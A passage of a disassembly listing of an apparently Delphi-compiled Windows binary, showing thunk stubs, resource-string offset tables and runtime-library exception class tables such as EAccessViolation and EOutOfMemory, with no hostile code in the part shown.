		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_20]
		call	sub_40006958
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40006AB3


loc_40006A9E:				; CODE XREF: sub_40006A2C+85j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40006AAC:				; DATA XREF: sub_40006A2C+22o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40006A9E
; ---------------------------------------------------------------------------


loc_40006AB3:				; CODE XREF: sub_40006A2C+7Fj
					; DATA XREF: sub_40006A2C+6Do
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_40006A2C	endp

; ---------------------------------------------------------------------------
		align 4
off_40006ABC	dd offset dword_40006AC0 ; DATA	XREF: sub_40016280+17r
					; sub_40016280+31Fr ...
dword_40006AC0	dd 61740C0Eh, 43584567h, 4E495045h, 204F46h, 30000h
					; DATA XREF: .text:off_40006ABCo
		db 2 dup(0)
		dd offset off_4000100C
		dw 4
		db 2 dup(0)
		dd offset off_4000100C
		dw 8
		db 2 dup(0)
		dd offset off_4000100C
		dw 0Ch
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006AF0	proc near		; CODE XREF: sub_40016A34+69p
		jmp	ds:dword_40024634
sub_40006AF0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006AF8	proc near		; CODE XREF: sub_40016AB0+4Ep
		jmp	ds:dword_40024630
sub_40006AF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006B00	proc near		; CODE XREF: sub_40016280+2FEp
					; sub_40016958+8Ep
		jmp	ds:dword_40024628
sub_40006B00	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006B08	proc near		; CODE XREF: sub_40016180+31p
		jmp	ds:dword_40024624
sub_40006B08	endp

; ---------------------------------------------------------------------------
		align 10h
off_40006B10	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF2Co
		dd 0FFF0h
off_40006B18	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF24o
		dd 0FFF1h
off_40006B20	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF84o
		dd 0FFF2h
off_40006B28	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B084o
		dd 0FFF3h
off_40006B30	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEC4o
		dd 0FFF4h
off_40006B38	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B034o
		dd 0FFF5h
off_40006B40	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFE8o
		dd 0FFF6h
off_40006B48	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF0Co
		dd 0FFF7h
off_40006B50	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF34o
		dd 0FFF8h
off_40006B58	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B094o
		dd 0FFF9h
off_40006B60	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B08Co
		dd 0FFFAh
off_40006B68	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF88o
		dd 0FFFBh
off_40006B70	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0A8o
		dd 0FFFCh
off_40006B78	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0C4o
		dd 0FFFDh
off_40006B80	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFECo
		dd 0FFFEh
off_40006B88	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B004o
		dd 0FFFFh
off_40006B90	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFFCo
		dd 0FFE0h
off_40006B98	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0BCo
		dd 0FFE1h
off_40006BA0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B020o
		dd 0FFE2h
off_40006BA8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF74o
		dd 0FFE3h
off_40006BB0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF70o
		dd 0FFE4h
off_40006BB8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF78o
		dd 0FFE5h
off_40006BC0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B088o
		dd 0FFE6h
off_40006BC8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0B8o
		dd 0FFE7h
off_40006BD0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF28o
		dd 0FFE8h
off_40006BD8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A85Co
					; .data:off_4001AF38o
		dd 0FFE9h
off_40006BE0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A860o
					; .data:off_4001AF8Co
		dd 0FFEAh
off_40006BE8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEBCo
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_40006BEC+1 ;	CODE XREF: .text:loc_40006BECj
; ---------------------------------------------------------------------------
		align 10h
off_40006BF0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0CCo
		dd 0FFECh
off_40006BF8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B01Co
		dd 0FFEDh
off_40006C00	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF94o
		dd 0FFEEh
off_40006C08	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B050o
		dd 0FFEFh
off_40006C10	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0C0o
		dd 0FFD0h
off_40006C18	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFD4o
		dd 0FFD1h
off_40006C20	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFB4o
		dd 0FFD2h
off_40006C28	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF98o
		dd 0FFD3h
off_40006C30	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEC0o
		dd 0FFD4h
off_40006C38	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B014o
		dd 0FFD5h
off_40006C40	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF00o
		dd 0FFD6h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF44o
		dd 0FFD7h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B090o
		dd 0FFD8h
off_40006C58	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFF4o
		dd 0FFD9h
off_40006C60	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEFCo
		dd 0FFDAh
off_40006C68	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AEE0o
		dd 0FFDBh
off_40006C70	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B038o
		dd 0FFDCh
off_40006C78	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AFA4o
		dd 0FFDDh
off_40006C80	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B010o
		dd 0FFDEh
off_40006C88	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B06Co
		dd 0FFDFh
off_40006C90	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001AF40o
		dd 0FFC0h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B060o
		dd 0FFC1h
		dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B030o
; ---------------------------------------------------------------------------
		retn	0FFh
; ---------------------------------------------------------------------------
		align 4
off_40006CA8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001B0A4o
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_40006CB0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A884o
					; .data:off_4001B0ACo
		dd 0FFC4h
off_40006CB8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A888o
					; .data:off_4001AFD8o
		dd 0FFC5h
off_40006CC0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A88Co
					; .data:off_4001B080o
		dd 0FFC6h
off_40006CC8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A890o
					; .data:off_4001AEB8o
		dd 0FFC7h
off_40006CD0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A894o
					; .data:off_4001AEF4o
		dd 0FFC8h
off_40006CD8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A898o
					; .data:off_4001B0D0o
		dd 0FFC9h
off_40006CE0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A89Co
					; .data:off_4001B068o
; ---------------------------------------------------------------------------
		retf	0FFh
; ---------------------------------------------------------------------------
		align 4
off_40006CE8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8A0o
					; .data:off_4001AED8o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_40006CF0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8A4o
					; .data:off_4001AF30o
		db 0CCh
		db 0FFh, 2 dup(0)
off_40006CF8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8A8o
					; .data:off_4001AFDCo
		dd 0FFCDh
off_40006D00	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8ACo
					; .data:off_4001B070o
		dd 0FFCEh
off_40006D08	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8B0o
					; .data:off_4001B098o
		dd 0FFCFh
off_40006D10	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8B4o
					; .data:off_4001AF9Co
		dd 0FFB0h
off_40006D18	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8B8o
					; .data:off_4001AEC8o
		dd 0FFB1h
off_40006D20	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8BCo
					; .data:off_4001AF58o
		dd 0FFB2h
off_40006D28	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8C0o
					; .data:off_4001AFBCo
		dd 0FFB3h
off_40006D30	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8C4o
					; .data:off_4001AFF8o
		dd 0FFB4h
off_40006D38	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8C8o
					; .data:off_4001AFB0o
		dd 0FFB5h
off_40006D40	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8CCo
					; .data:off_4001AF48o
		dd 0FFB6h
off_40006D48	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8D0o
					; .data:off_4001AFC4o
		dd 0FFB7h
off_40006D50	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8D4o
					; .data:off_4001B03Co
		dd 0FFB8h
off_40006D58	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8D8o
					; .data:off_4001AECCo
		dd 0FFB9h
off_40006D60	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8DCo
					; .data:off_4001AF50o
		dd 0FFBAh
off_40006D68	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8E0o
					; .data:off_4001AF6Co
		dd 0FFBBh
off_40006D70	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8E4o
					; .data:off_4001B008o
		dd 0FFBCh
off_40006D78	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8E8o
					; .data:off_4001B040o
		dd 0FFBDh
off_40006D80	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8ECo
					; .data:off_4001B04Co
		dd 0FFBEh
off_40006D88	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8F0o
					; .data:off_4001AFE0o
		dd 0FFBFh
off_40006D90	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8F4o
					; .data:off_4001AF14o
		dd 0FFA0h
off_40006D98	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8F8o
					; .data:off_4001B000o
		dd 0FFA1h
off_40006DA0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A8FCo
					; .data:off_4001AF80o
		dd 0FFA2h
off_40006DA8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A900o
					; .data:off_4001AEF0o
		dd 0FFA3h
off_40006DB0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A904o
					; .data:off_4001AF10o
		dd 0FFA4h
off_40006DB8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A908o
					; .data:off_4001AF18o
		dd 0FFA5h
off_40006DC0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A90Co
					; .data:off_4001AED0o
		dd 0FFA6h
off_40006DC8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A910o
					; .data:off_4001B028o
		dd 0FFA7h
off_40006DD0	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A914o
					; .data:off_4001AEE8o
		dd 0FFA8h
off_40006DD8	dd offset dword_4001E7F8 ; DATA	XREF: .data:off_4001A918o
					; .data:off_4001B078o
		dd 0FFA9h
off_40006DE0	dd offset dword_40006E2C ; DATA	XREF: .text:40006E70o
					; .text:40006F28o ...
		dd 2 dup(0)
		dd offset dword_40006E2C
		dd 4 dup(0)
		dd offset word_40006E3E
		dd 0Ch
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006E2C	dd 0Eh,	10000h						; .text:40006DECo ...
		db 2 dup(0)
		dd offset off_40001000
		dw 4
		db 2 dup(0)
word_40006E3E	dw 4509h		; DATA XREF: .text:40006E00o
		dd 70656378h, 6E6F6974h
off_40006E48	dd offset dword_40006E94 ; DATA	XREF: .text:40006ECCo
					; .text:40007354o
		dd 7 dup(0)
		dd offset dword_40006E94
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_4000B204
		dd offset sub_40003CD8
dword_40006E94	dd 6548450Eh, 78457061h, 74706563h, 906E6F69h
					; DATA XREF: .text:off_40006E48o
					; .text:40006E68o
off_40006EA4	dd offset dword_40006EF0 ; DATA	XREF: sub_4000B72C+8r
		dd 7 dup(0)
		dd offset dword_40006EF0
		dd 10h
		dd offset off_40006E48
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_4000B204
		dd offset sub_40003CD8
dword_40006EF0	dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h					; .text:40006EC4o
off_40006F00	dd offset dword_40006F4C ; DATA	XREF: sub_4000B230+2Dr
					; sub_4000B230+4Cr
		dd 7 dup(0)
		dd offset dword_40006F4C
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006F4C	dd 6E49450Bh, 4574754Fh, 726F7272h					; .text:40006F20o
off_40006F58	dd offset dword_40006FA4 ; DATA	XREF: .text:40006FD8o
					; .text:40007038o ...
		dd 7 dup(0)
		dd offset dword_40006FA4
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006FA4	dd 78454509h, 6E726574h, 0C08B6C61h					; .text:40006F78o
off_40006FB0	dd offset dword_40006FFC ; DATA	XREF: sub_4000B654+80r
		dd 7 dup(0)
		dd offset dword_40006FFC
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40006FFC	dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
					; DATA XREF: .text:off_40006FB0o
					; .text:40006FD0o ...
off_40007010	dd offset dword_4000705C ; DATA	XREF: .text:40007090o
					; .text:400070E8o ...
		dd 7 dup(0)
		dd offset dword_4000705C
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000705C	dd 6E494509h, 72724574h, 0C08B726Fh					; .text:40007030o
		dd offset dword_400070B4
		dd 7 dup(0)
		dd offset dword_400070B4
		dd 10h
		dd offset off_40007010
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400070B4	dd 6944450Ah, 5A794276h, 906F7265h					; .text:40007088o ...
off_400070C0	dd offset dword_4000710C ; DATA	XREF: sub_4000E068+Br
		dd 7 dup(0)
		dd offset dword_4000710C
		dd 10h
		dd offset off_40007010
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000710C	dd 6152450Bh, 4565676Eh, 726F7272h					; .text:400070E0o ...
		dd offset dword_40007164
		dd 7 dup(0)
		dd offset dword_40007164
		dd 10h
		dd offset off_40007010
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007164	dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h					; .text:40007138o ...
off_40007174	dd offset dword_400071C0 ; DATA	XREF: .text:400071F4o
					; .text:4000724Co ...
		dd 7 dup(0)
		dd offset dword_400071C0
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400071C0	dd 614D450Ah, 72456874h, 90726F72h					; .text:40007194o
		dd offset dword_40007218
		dd 7 dup(0)
		dd offset dword_40007218
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007218	dd 6E49450Ah, 696C6176h, 90704F64h					; .text:400071ECo ...
		dd offset dword_40007270
		dd 7 dup(0)
		dd offset dword_40007270
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007270	dd 655A450Bh, 69446F72h, 65646976h					; .text:40007244o ...
off_4000727C	dd offset dword_400072C8 ; DATA	XREF: sub_4000E068+30r
		dd 7 dup(0)
		dd offset dword_400072C8
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400072C8	dd 764F4509h, 6C667265h, 0C08B776Fh					; .text:4000729Co ...
		dd offset dword_40007320
		dd 7 dup(0)
		dd offset dword_40007320
		dd 10h
		dd offset off_40007174
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007320	dd 6E55450Ah, 66726564h, 90776F6Ch					; .text:400072F4o ...
off_4000732C	dd offset dword_40007378 ; DATA	XREF: sub_4000B72C+1Fr
		dd 7 dup(0)
		dd offset dword_40007378
		dd 10h
		dd offset off_40006E48
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_4000B204
		dd offset sub_40003CD8
dword_40007378	dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh
					; DATA XREF: .text:off_4000732Co
					; .text:4000734Co
		dd offset dword_400073D4
		dd 7 dup(0)
		dd offset dword_400073D4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400073D4	dd 6E49450Ch, 696C6176h, 73614364h, 408D74h					; .text:400073A8o ...
off_400073E4	dd offset dword_40007430 ; DATA	XREF: sub_40007998+Fr
					; sub_4000E068+54r ...
		dd 7 dup(0)
		dd offset dword_40007430
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007430	dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh
					; DATA XREF: .text:off_400073E4o
					; .text:40007404o
off_40007440	dd offset dword_4000748C ; DATA	XREF: sub_4000B488+122r
					; sub_4000B488+17Er
		dd 7 dup(0)
		dd offset dword_4000748C
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000748C	dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
					; DATA XREF: .text:off_40007440o
					; .text:40007460o ...
		dd offset dword_400074EC
		dd 7 dup(0)
		dd offset dword_400074EC
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400074EC	dd 7250450Ah, 6C697669h, 90656765h					; .text:400074C0o ...
		dd offset dword_40007544
		dd 7 dup(0)
		dd offset dword_40007544
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007544	dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch					; .text:40007518o ...
		dd offset dword_400075A0
		dd 7 dup(0)
		dd offset dword_400075A0
		dd 10h
		dd offset off_40006F58
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400075A0	dd 6F434509h, 6F72746Eh, 0C08B436Ch					; .text:40007574o ...
off_400075AC	dd offset dword_400075F8 ; DATA	XREF: .text:4000D70Co
					; .text:4000D770o ...
		dd 7 dup(0)
		dd offset dword_400075F8
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400075F8	dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh
					; DATA XREF: .text:off_400075ACo
					; .text:400075CCo ...
off_40007608	dd offset dword_40007654 ; DATA	XREF: sub_4000B300+72r
		dd 7 dup(0)
		dd offset dword_40007654
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007654	dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
					; DATA XREF: .text:off_40007608o
					; .text:40007628o ...
off_40007668	dd offset dword_400076B4 ; DATA	XREF: sub_4000B3D8+8r
		dd 7 dup(0)
		dd offset dword_400076B4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400076B4	dd 6241450Eh, 61727473h, 72457463h, 90726F72h
					; DATA XREF: .text:off_40007668o
					; .text:40007688o
		dd offset dword_40007710
		dd 7 dup(0)
		dd offset dword_40007710
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_40007710	dd 6E49450Eh, 61436674h, 72457473h, 90726F72h					; .text:400076E4o ...
off_40007720	dd offset dword_4000776C ; DATA	XREF: sub_4000C41C+49r
					; sub_4000C41C+5Fr
		dd 7 dup(0)
		dd offset dword_4000776C
		dd 10h
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_4000776C	dd 534F4508h, 6F727245h, 408D72h					; .text:40007740o
		dd offset dword_400077C4
		dd 7 dup(0)
		dd offset dword_400077C4
		dd 0Ch
		dd offset off_40006DE0
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_40003CD8
dword_400077C4	dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
					; DATA XREF: .text:40007778o
					; .text:40007798o ...
off_400077D8	dd offset dword_400077DC ; DATA	XREF: sub_40007E2C+1Ar
					; sub_4000CC50+10Dr
dword_400077DC	dd 372E0311h, 434h		db 0
		dd offset off_40001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_40001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch
off_400077FC	dd offset dword_40007800 ; DATA	XREF: sub_40007E2C+51r
					; sub_4000CC50+11Dr
dword_40007800	dd 382E0311h, 434h		db 0
		dd offset off_40001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_40001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1
dword_40007828	dd 24h		off_4000782C	dd offset dword_40007878 ; DATA	XREF: sub_4000C69C+4Br
		dd 7 dup(0)
		dd offset dword_40007878
		dd 44h
		dd offset off_4000101C
		dd offset sub_40003EF4
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40003C80
		dd offset sub_40003C9C
		dd offset sub_4000C55C
dword_40007878	dd 68545413h, 64616572h, 61636F4Ch, 756F436Ch, 7265746Eh
					; DATA XREF: .text:off_4000782Co
					; .text:4000784Co
		dd 0D4C083CCh, 5003E9h,	0D4C08300h, 506BE9h, 0D4C08300h
		dd 4EF7E9h, 0D4C08300h,	4F9BE9h, 24448300h, 0BDE9D404h
		dd 83FFFFE9h, 0D4042444h, 0FFE9DBE9h, 244483FFh, 0E5E9D404h
		dd 0CCFFFFE9h
off_400078CC	dd offset dword_40007878+35h ; DATA XREF: .text:400078FCo
		dd offset dword_40007878+3Fh
		dd offset dword_40007878+49h
		dd offset dword_40007878+15h
		dd offset dword_40007878+1Dh
		dd offset dword_40007878+25h
		dd offset dword_40007878+2Dh
dword_400078E8	dd 1, 7B108C52h, 4CDB1D8Fh, 0E057DF9Ch,	3F3D1971h
					; DATA XREF: .text:4000790Co
		dd offset off_400078CC
		dd 2Ch,	0
off_40007908	dd offset aTmultireadexcl ; DATA XREF: sub_400191F8+2Br
					; "$TMultiReadExclusiveWriteSynchronizer@"...
		dd offset dword_400078E8
		dd 6 dup(0)
		dd offset aTmultireadexcl ; "$TMultiReadExclusiveWriteSynchronizer@"...
		dd 30h
		dd offset off_400010E0
		dd offset sub_40003EF4
		dd offset sub_40006248
		dd offset sub_40006254
		dd offset sub_40003F08
		dd offset nullsub_4
		dd offset sub_40006264
		dd offset sub_40003C9C
		dd offset sub_4000C710
aTmultireadexcl	db '$TMultiReadExclusiveWriteSynchronizer@',0
					; DATA XREF: .text:off_40007908o
					; .text:40007928o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000797C	proc near		; CODE XREF: sub_40008FB8+2Bp
					; sub_40008FB8+3Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		mov	edx, eax
		shr	edx, 10h
		div	bx
		mov	ebx, [ebp+arg_0]
		mov	[ecx], ax
